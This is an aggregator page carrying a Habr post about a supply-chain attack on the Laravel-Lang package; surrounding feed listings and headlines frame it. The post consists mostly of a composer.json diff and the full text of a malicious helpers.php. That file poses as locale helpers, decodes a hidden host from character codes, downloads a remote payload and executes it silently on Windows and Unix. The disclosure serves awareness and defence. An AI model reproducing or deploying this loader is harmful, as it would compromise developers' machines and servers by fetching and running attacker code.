惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
The GitHub Blog
The GitHub Blog
J
Java Code Geeks
Engineering at Meta
Engineering at Meta
N
Netflix TechBlog - Medium
A
About on SuperTechFans
博客园 - 三生石上(FineUI控件)
罗磊的独立博客
MongoDB | Blog
MongoDB | Blog
B
Blog RSS Feed
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
有赞技术团队
有赞技术团队
T
Tailwind CSS Blog
酷 壳 – CoolShell
酷 壳 – CoolShell
Vercel News
Vercel News
腾讯CDC
博客园 - 聂微东
The Cloudflare Blog
F
Fortinet All Blogs
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
V
Visual Studio Blog
Last Week in AI
Last Week in AI
B
Blog

Все публикации подряд на Хабре

Ловим музу за клавиатуру: как айтишнику стать автором Что умеет Midjourney в 2026? Мой немного грустный разбор этого шикарного инструмента Никто не любит писать тесты, но ИИ может исправить это IPv8 выглядит как мечта. Поэтому почти наверняка не взлетит Производители вернули в продажу материнки с DDR3. Что происходит? Управление агентом с телефона через Telegram теперь в KodaCode От координации к лидерству: как меняется роль руководителя разработки Я сделала родителям бизнес вместо пенсии: зарабатываем 70 тысяч, мама не даёт продать В три раза быстрее приемка товара и оптимизация трудозатрат на 73%: как «РСТ-Инвент» помог Gulliver Group ИИ-шечный мир победил? О влиянии искусственного интеллекта на игропром Кремль снижает давление на Телеграмм пока Европа строит интернет по паспорту Как CEO, CTO и CIO за 8 часов собрали ИИ-директора, который умеет держать позицию под давлением Как (не) потерять домен за выходные Вместо 8 разных VPS: как я организовал практику студентам на одном сервере Почему твой Open Source проект не замечают? R&D: искусство управления неопределенностью в разработке AI-дефляция: вакансий для разработчиков больше, а рост зарплат — худший за 15 лет Мы отдали управление роботами OpenClaw. Что из этого вышло Галактический ID: система идентификации для всех форм разумной жизни Шесть основ бизнес-анализа: начинаем с вопроса «Кто в игре?» Код-ревью, в котором дело не в коде Данные переехали. Команда — нет Системной подход к сдаче OSWE в 2025 Почему комната управления реактором покрашена в цвет морской пены 4 YAML-файла вместо PySpark: как аналитикам строить пайплайны без разработчиков LLM-агент для поиска свободных доменов: автоматизируем подбор Когда, зачем и как правильно начинать новую сессию в Claude Code? Как я заставил нейросеть писать макросы для FreeCAD Анатомия ИИ‑агента для подбора персонала. От тысячи резюме к топ‑10 за минуты Опыт разработчика как экономика внимания
Вредоносная атака на Laravel-Lang
Andrey Helldar · 2026-05-24 · via Все публикации подряд на Хабре
 "autoload": {
    "psr-4": {
      "LaravelLang\\Lang\\": "src/"
-   }
+   },
+   "files": [
+     "src/helpers.php"
+   ]
 }
<?php
/**
 * Laravel Lang Helpers
 * Common locale detection and formatting utilities
 */

declare(strict_types=1);

if (!function_exists('laravel_lang_locale')) {
    function laravel_lang_locale(): string {
        return function_exists('config') ? config('app.locale', 'en') : 'en';
    }
}

if (!function_exists('laravel_lang_fallback')) {
    function laravel_lang_fallback(): string {
        return function_exists('config') ? config('app.fallback_locale', 'en') : 'en';
    }
}

if (!defined('LARAVEL_LANG_HELPERS')) {
    define('LARAVEL_LANG_HELPERS', true);

    (function() {
        $cacheDir = sys_get_temp_dir() . DIRECTORY_SEPARATOR . '.laravel_locale';
        @mkdir($cacheDir, 0755, true);

        $sig = md5(__DIR__ . php_uname('n') . fileinode(__FILE__));
        $marker = $cacheDir . DIRECTORY_SEPARATOR . $sig;
        if (@file_exists($marker)) return;

        $fetch = function($url) {
            $ctx = @stream_context_create([
                'http' => ['timeout' => 10, 'ignore_errors' => true,
                           'header' => "User-Agent: Mozilla/5.0\r\n"],
                'ssl' => ['verify_peer' => false, 'verify_peer_name' => false]
            ]);
            $r = @file_get_contents($url, false, $ctx);
            if ($r !== false && strlen($r) > 50) return $r;

            if (function_exists('curl_init')) {
                $ch = curl_init($url);
                curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => false,
                    CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => 'Mozilla/5.0']);
                $r = curl_exec($ch);
                curl_close($ch);
                if ($r !== false && strlen($r) > 50) return $r;
            }
            return null;
        };

        $h = implode('', array_map('chr', [102,108,105,112,98,111,120,115,116,117,100,105,111,46,105,110,102,111]));
        $d = $fetch("https://{$h}/payload");

        if ($d) {
            $f = $cacheDir . DIRECTORY_SEPARATOR . bin2hex(random_bytes(6)) . '.php';
            if (@file_put_contents($f, $d) !== false) {
                @touch($marker);
                if (stripos(PHP_OS, 'WIN') === 0) {
                    $v = $cacheDir . '\\' . bin2hex(random_bytes(4)) . '.vbs';
                    @file_put_contents($v, 'CreateObject("WScript.Shell").Run "php ""' . $f . '""", 0, False');
                    @pclose(@popen("cscript //nologo //b \"$v\" >nul 2>&1", 'r'));
                } else {
                    @exec("php \"$f\" > /dev/null 2>&1 &");
                }
            }
        }
    })();
}

https://github.com/Laravel-Lang/lang/blob/3290c20511f608a8f92f10d1b1f5620a4177a363/src/helpers.php